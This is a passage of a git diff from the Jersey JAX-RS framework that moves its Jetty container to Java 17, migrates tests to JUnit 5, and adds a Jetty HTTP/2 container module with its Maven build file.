+ private final Callback callback;
+ private final boolean configSetStatusOverSendError;
+ private final Timer timer = new Timer();
+ private final long asyncStartTimeMillis;
+ private final ConcurrentLinkedQueue] timeoutHandlerQueue = new ConcurrentLinkedQueue<>();
+ private TimerTask currentTimerTask;
+
+ ResponseWriter(final Request request, final Response response, final Callback callback,
+ final boolean configSetStatusOverSendError) {
+ this.request = request;
+ this.response = response;
+ this.callback = callback;
+ this.asyncStartTimeMillis = System.currentTimeMillis();
+ this.configSetStatusOverSendError = configSetStatusOverSendError;
+ }
+
+ private synchronized void setNewTimeout(long timeOut, TimeUnit timeUnit) {
+ long timeOutMillis = timeUnit.toMillis(timeOut);
+ if (currentTimerTask != null) {
+ currentTimerTask.cancel();
+ }
+ currentTimerTask = new TimerTask() {
+ @Override
+ public void run() {
+ timeoutHandlerQueue.forEach(timeoutHandler -> timeoutHandler.onTimeout(ResponseWriter.this));
+ }
+ };
+ timer.schedule(currentTimerTask, Math.max(0, timeOutMillis + asyncStartTimeMillis - System.currentTimeMillis()));
+ }
+
+ @Override
+ public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context)
+ throws ContainerException {
+
+ final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
+
+ final int code = statusInfo.getStatusCode();
+
+ response.setStatus(code);
+
+ if (contentLength != -1 && contentLength < Integer.MAX_VALUE && !"HEAD".equals(request.getMethod())) {
+ response.getHeaders().add(new HttpField(HttpHeader.CONTENT_LENGTH, String.valueOf((int) contentLength)));
+ }
+ for (final Map.Entry> e : context.getStringHeaders().entrySet()) {
+ for (final String value : e.getValue()) {
+ response.getHeaders().add(new HttpField(e.getKey(), value));
+ }
+ }
+
+ return Content.Sink.asOutputStream(response);
+ }
+
+ @Override
+ public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) {
+ if (timeOut > 0) {
+ setNewTimeout(timeOut, timeUnit);
+ }
+ if (timeoutHandler != null) {
+ timeoutHandlerQueue.add(timeoutHandler);
+ }
+ return true;
+ }
+
+ @Override
+ public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException {
+ if (timeOut > 0) {
+ setNewTimeout(timeOut, timeUnit);
+ }
+ }
+
+ @Override
+ public void commit() {
+ callback.succeeded();
+ LOGGER.log(Level.FINEST, "commit() called");
+ }
+
+ @Override
+ public void failure(final Throwable error) {
+ try {
+ if (!response.isCommitted()) {
+ try {
+ if (configSetStatusOverSendError) {
+ response.reset();
+ response.setStatus(INTERNAL_SERVER_ERROR);
+ callback.failed(error);
+ } else {
+ Response.writeError(request, response, callback, INTERNAL_SERVER_ERROR, "Request failed.", error);
+ }
+ } catch (final IllegalStateException ex) {
+ // a race condition externally committing the response can still occur...
+ LOGGER.log(Level.FINER, "Unable to reset failed response.", ex);
+ }
+ }
+ } finally {
+ LOGGER.log(Level.FINEST, "failure(...) called");
+ rethrow(error);
+ }
+ }
+
+ @Override
+ public boolean enableResponseBuffering() {
+ return false;
+ }
+
+ /**
+ * Rethrow the original exception as required by JAX-RS, 3.3.4.
+ *
+ * @param error throwable to be re-thrown
+ */
+ private void rethrow(final Throwable error) {
+ if (error instanceof RuntimeException) {
+ throw (RuntimeException) error;
+ } else {
+ throw new ContainerException(error);
+ }
+ }
+
+ }
+
+ @Override
+ public ResourceConfig getConfiguration() {
+ return appHandler.getConfiguration();
+ }
+
+ @Override
+ public void reload() {
+ reload(new ResourceConfig(getConfiguration()));
+ }
+
+ @Override
+ public void reload(final ResourceConfig configuration) {
+ appHandler.onShutdown(this);
+
+ appHandler = new ApplicationHandler(configuration.register(new JettyBinder()));
+ appHandler.onReload(this);
+ appHandler.onStartup(this);
+ cacheConfigSetStatusOverSendError();
+ }
+
+ @Override
+ public ApplicationHandler getApplicationHandler() {
+ return appHandler;
+ }
+
+ /**
+ * Inform this container that the server has been started.
+ * This method must be implicitly called after the server containing this container is started.
+ *
+ * @throws java.lang.Exception if a problem occurred during server startup.
+ */
+ @Override
+ protected void doStart() throws Exception {
+ super.doStart();
+ appHandler.onStartup(this);
+ }
+
+ /**
+ * Inform this container that the server is being stopped.
+ * This method must be implicitly called before the server containing this container is stopped.
+ *
+ * @throws java.lang.Exception if a problem occurred during server shutdown.
+ */
+ @Override
+ public void doStop() throws Exception {
+ super.doStop();
+ appHandler.onShutdown(this);
+ appHandler = null;
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ */
+ JettyHttpContainer(final Application application, final Object parentContext) {
+ this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext);
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+ */
+ JettyHttpContainer(final Application application) {
+ this.appHandler = new ApplicationHandler(application, new JettyBinder());
+
+ cacheConfigSetStatusOverSendError();
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
+ */
+ JettyHttpContainer(final Class extends Application> applicationClass) {
+ this.appHandler = new ApplicationHandler(applicationClass, new JettyBinder());
+
+ cacheConfigSetStatusOverSendError();
+ }
+
+ /**
+ * The method reads and caches value of configuration property
+ * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes.
+ */
+ private void cacheConfigSetStatusOverSendError() {
+ this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(),
+ ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class);
+ }
+
+}
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
similarity index 99%
rename from containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
rename to containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
index 3ccb7b8bfc9..26a4b79581d 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
+++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
similarity index 98%
rename from containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
rename to containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
index 64af0306df1..97343424798 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
+++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2018 Markus KARG. All rights reserved.
*
* This program and the accompanying materials are made available under the
diff --git a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
index 6d0d06c5fd8..8d507d59e57 100644
--- a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
+++ b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -1,5 +1,5 @@
#
-# Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
#
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,4 +21,4 @@ unable.to.close.response=Unable to close response output.
uri.cannot.be.null=The URI must not be null.
wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
index e4314ae0592..7519624dcb7 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
@@ -1,5 +1,6 @@
/*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022 Contributors to the Eclipse Foundation
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +22,7 @@
import java.util.logging.Level;
import java.util.logging.Logger;
+import jakarta.ws.rs.RuntimeType;
import jakarta.ws.rs.core.UriBuilder;
import org.glassfish.jersey.logging.LoggingFeature;
@@ -29,7 +31,7 @@
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.server.ServerConnector;
-import org.junit.After;
+import org.junit.jupiter.api.AfterEach;
/**
* Abstract Jetty Server unit tester.
@@ -43,7 +45,7 @@ public abstract class AbstractJettyServerTester {
private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName());
public static final String CONTEXT = "";
- private static final int DEFAULT_PORT = 0;
+ private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
/**
* Get the port to be used for test application deployments.
@@ -76,13 +78,24 @@ protected final int getPort() {
return DEFAULT_PORT;
}
+ private final int getPort(RuntimeType runtimeType) {
+ switch (runtimeType) {
+ case SERVER:
+ return getPort();
+ case CLIENT:
+ return server.getURI().getPort();
+ default:
+ throw new IllegalStateException("Unexpected runtime type");
+ }
+ }
+
private volatile Server server;
public UriBuilder getUri() {
- return UriBuilder.fromUri("http://localhost").port(getPort()).path(CONTEXT);
+ return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
}
- public void startServer(Class... resources) {
+ public void startServer(Class>... resources) {
ResourceConfig config = new ResourceConfig(resources);
config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
startServer(config);
@@ -95,7 +108,7 @@ public void startServer(ResourceConfig config) {
}
public URI getBaseUri() {
- return UriBuilder.fromUri("http://localhost/").port(getPort()).build();
+ return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
}
public void stopServer() {
@@ -108,7 +121,7 @@ public void stopServer() {
}
}
- @After
+ @AfterEach
public void tearDown() {
if (server != null) {
stopServer();
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
index 0a393cbd73d..808e2ea35fe 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -31,12 +31,12 @@
import jakarta.ws.rs.container.TimeoutHandler;
import jakarta.ws.rs.core.Response;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
import static org.hamcrest.CoreMatchers.is;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author Arul Dhesiaseelan (aruld at acm.org)
@@ -121,14 +121,14 @@ public void run() {
private Client client;
- @Before
+ @BeforeEach
public void setUp() throws Exception {
startServer(AsyncResource.class);
client = ClientBuilder.newClient();
}
@Override
- @After
+ @AfterEach
public void tearDown() {
super.tearDown();
client = null;
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
index bfe462c67cf..7c4c760e109 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.message.BasicHttpRequest;
-import org.junit.Test;
+import org.junit.jupiter.api.Test;
import jakarta.ws.rs.GET;
import jakarta.ws.rs.Path;
@@ -35,7 +35,7 @@
import java.io.IOException;
import java.net.URI;
-import static org.junit.Assert.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author Paul Sandoz
@@ -65,6 +65,19 @@ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
assertEquals(400, response.getStatusLine().getStatusCode());
}
+ @Test
+ public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+ request.addHeader("X-Forwarded-Host", "_foo.com");
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
@Test
public void test400StatusCode() throws IOException {
startServer(ExceptionResource.class);
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
index 1aa8b454956..004a33405c4 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2018 Markus KARG. All rights reserved.
*
* This program and the accompanying materials are made available under the
@@ -22,8 +22,8 @@
import static org.hamcrest.CoreMatchers.instanceOf;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.greaterThan;
-import static org.junit.Assert.assertThat;
import java.security.AccessController;
import java.security.NoSuchAlgorithmException;
@@ -31,6 +31,7 @@
import java.util.Set;
import java.util.concurrent.CompletionStage;
import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
import java.util.logging.Level;
import java.util.logging.Logger;
@@ -45,12 +46,12 @@
import jakarta.ws.rs.core.UriBuilder;
import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
import org.glassfish.jersey.server.ServerProperties;
import org.glassfish.jersey.server.spi.Container;
import org.glassfish.jersey.server.spi.WebServer;
import org.glassfish.jersey.server.spi.WebServerProvider;
-import org.junit.Test;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
/**
* Unit tests for {@link JettyHttpServerProvider}.
@@ -60,14 +61,16 @@
*/
public final class JettyHttpServerProviderTest {
- @Test(timeout = 15000)
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
public void shouldProvideServer() throws InterruptedException, ExecutionException {
// given
final Resource resource = new Resource();
shouldProvideServer(ShouldProvideServerApplication.class, resource);
}
- @Test(timeout = 15000)
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
// given
final Resource resource = new Resource();
@@ -82,10 +85,9 @@ private void shouldProvideServer(final Object application, final Resource resour
final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
// when
- final JerseySeBootstrapConfiguration jerseySeConfig = JerseySeBootstrapConfiguration.from(configuration);
final WebServer webServer = Application.class.isInstance(application)
- ? webServerProvider.createServer(WebServer.class, (Application) application, jerseySeConfig)
- : webServerProvider.createServer(WebServer.class, (Class) application, jerseySeConfig);
+ ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+ : webServerProvider.createServer(WebServer.class, (Class) application, configuration);
final Object nativeHandle = webServer.unwrap(Object.class);
final CompletionStage> start = webServer.start();
final Object startResult = start.toCompletableFuture().get();
@@ -149,7 +151,8 @@ private static final int getPort() {
return DEFAULT_PORT;
}
- @Test(timeout = 15000)
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
// given
final WebServerProvider webServerProvider = new JettyHttpServerProvider();
@@ -157,8 +160,7 @@ public final void shouldScanFreePort() throws InterruptedException, ExecutionExc
final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
// when
- final JerseySeBootstrapConfiguration jerseySeConfig = JerseySeBootstrapConfiguration.from(configuration);
- final WebServer webServer = webServerProvider.createServer(WebServer.class, application, jerseySeConfig);
+ final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
// then
assertThat(webServer.port(), is(greaterThan(0)));
@@ -191,4 +193,4 @@ private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
};
}
-}
+}
\ No newline at end of file
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
index 40add85dac5..90a0e66043f 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,7 +19,7 @@
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
import org.glassfish.jersey.server.spi.Container;
-import org.junit.Test;
+import org.junit.jupiter.api.Test;
import jakarta.ws.rs.GET;
import jakarta.ws.rs.Path;
@@ -29,9 +29,9 @@
import jakarta.ws.rs.core.Response;
import static org.hamcrest.CoreMatchers.equalTo;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertTrue;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
/**
@@ -127,7 +127,7 @@ public void testStartupShutdownHooks() {
stopServer();
- assertTrue("ContainerLifecycleListener.onStartup has not been called.", listener.started);
- assertTrue("ContainerLifecycleListener.onShutdown has not been called.", listener.stopped);
+ assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
+ assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
}
}
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
index 0925cc92228..1580a0a3707 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
package org.glassfish.jersey.jetty;
-import org.junit.Test;
+import org.junit.jupiter.api.Test;
import jakarta.ws.rs.GET;
import jakarta.ws.rs.Path;
@@ -25,8 +25,8 @@
import jakarta.ws.rs.client.ClientBuilder;
import jakarta.ws.rs.core.Response;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
public class OptionsTest extends AbstractJettyServerTester {
diff --git a/containers/jetty-http2/pom.xml b/containers/jetty-http2/pom.xml
new file mode 100644
index 00000000000..ece632283b1
--- /dev/null
+++ b/containers/jetty-http2/pom.xml
@@ -0,0 +1,281 @@
+
+
+
+
+ 4.0.0
+
+
+ project
+ org.glassfish.jersey.containers
+ 3.1.99-SNAPSHOT
+
+
+ jersey-container-jetty-http2
+ jar
+ jersey-container-jetty-http2
+
+ Jetty Http2 Container
+
+
+ ${project.basedir}/target
+ ${project.basedir}/src/main/java11
+ ${project.basedir}/target17
+ ${project.basedir}/src/main/java17
+
+
+
+
+ org.glassfish.jersey.containers
+ jersey-container-jetty-http
+ ${project.version}
+
+
+ jakarta.inject
+ jakarta.inject-api
+
+
+ org.eclipse.jetty
+ jetty-util
+
+
+ org.slf4j
+ slf4j-api
+
+
+
+
+ org.eclipse.jetty
+ jetty-alpn-conscrypt-server
+
+
+ org.slf4j
+ slf4j-api
+
+
+
+
+ org.apache.httpcomponents
+ httpclient
+ test
+
+
+ org.hamcrest
+ hamcrest
+ test
+
+
+
+
+
+
+ com.sun.istack
+ istack-commons-maven-plugin
+ true
+
+
+ org.codehaus.mojo
+ build-helper-maven-plugin
+ true
+
+
+ org.apache.felix
+ maven-bundle-plugin
+ true
+
+
+
+ ${jetty.osgi.version},
+ *
+
+
+
+
+
+
+
+
+ ${basedir}/src/main/resources
+ true
+
+
+
+
+
+
+ JettyExclude
+
+ [11,17)
+
+
+ ${jetty11.version}
+
+
+ ${java11.build.outputDirectory}
+
+
+ org.codehaus.mojo
+ build-helper-maven-plugin
+
+
+ generate-sources
+
+ add-source
+
+
+
+ ${java11.sourceDirectory}
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+
+ org/glassfish/jersey/jetty/http2/*.java
+
+
+
+
+
+
+
+ JettyInclude
+
+ [17,)
+
+
+
+ org.eclipse.jetty
+ jetty-server
+
+
+ org.slf4j
+ slf4j-api
+
+
+
+
+ org.eclipse.jetty.http2
+ jetty-http2-server
+
+
+ org.slf4j
+ slf4j-api
+
+
+
+
+
+ ${java17.build.outputDirectory}
+
+
+ org.codehaus.mojo
+ build-helper-maven-plugin
+
+
+ generate-sources
+
+ add-source
+
+
+
+ ${java17.sourceDirectory}
+
+
+
+
+
+
+
+
+
+ copyJDK17FilesToMultiReleaseJar
+
+
+
+ target17/classes/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.class
+
+ [11,17)
+
+
+
+
+ org.apache.felix
+ maven-bundle-plugin
+ true
+ true
+
+
+ true
+
+
+
+
+ org.apache.maven.plugins
+ maven-resources-plugin
+ true
+
+
+ copy-jdk17-classes
+ prepare-package
+
+ copy-resources
+
+
+ ${java11.build.outputDirectory}/classes/META-INF/versions/17
+
+
+ ${java17.build.outputDirectory}/classes
+
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-antrun-plugin
+
+
+ copy-jdk17-sources
+ package
+
+
+
+ sources-jar: ${sources-jar}
+
+
+
+
+
+
+ run
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java
new file mode 100644
index 00000000000..01c61fccf94
--- /dev/null
+++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.JettyHttpContainer;
+import org.glassfish.jersey.jetty.JettyHttpContainerProvider;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.spi.ContainerProvider;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+
+import static org.glassfish.jersey.jetty.JettyHttpContainerProvider.HANDLER_NAME;
+
+public final class JettyHttp2ContainerProvider implements ContainerProvider {
+
+ @Override
+ public T createContainer(final Class type, final Application application) throws ProcessingException {
+ if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
+ return type.cast(new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class, application));
+ }
+ return null;
+ }
+}
+
diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/TestComponent2.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
similarity index 77%
rename from ext/spring4/src/test/java/org/glassfish/jersey/server/spring/TestComponent2.java
rename to containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
index 792d9b85e8b..3c4358898d6 100644
--- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/TestComponent2.java
+++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,8 +14,7 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.server.spring;
-
-public interface TestComponent2 {
- String result();
-}
+/**
+ * Jersey Jetty HTTP2 container classes.
+ */
+package org.glassfish.jersey.jetty.http2;
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
new file mode 100644
index 00000000000..cdea00a67bd
--- /dev/null
+++ b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.JettyHttpContainer;
+import org.glassfish.jersey.jetty.http2.LocalizationMessages;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import jakarta.ws.rs.ProcessingException;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.List;
+
+public final class JettyHttp2ContainerFactory {
+
+ private JettyHttp2ContainerFactory() {
+
+ }
+
+ public static Server createHttp2Server(final URI uri) throws ProcessingException {
+ validateJdk();
+ return null; // does not work at JDK lower than 17
+ }
+
+ public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
+ throws ProcessingException {
+ validateJdk();
+ return null; // does not work at JDK lower than 17
+ }
+
+ public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
+ validateJdk();
+ return null; // does not work at JDK lower than 17
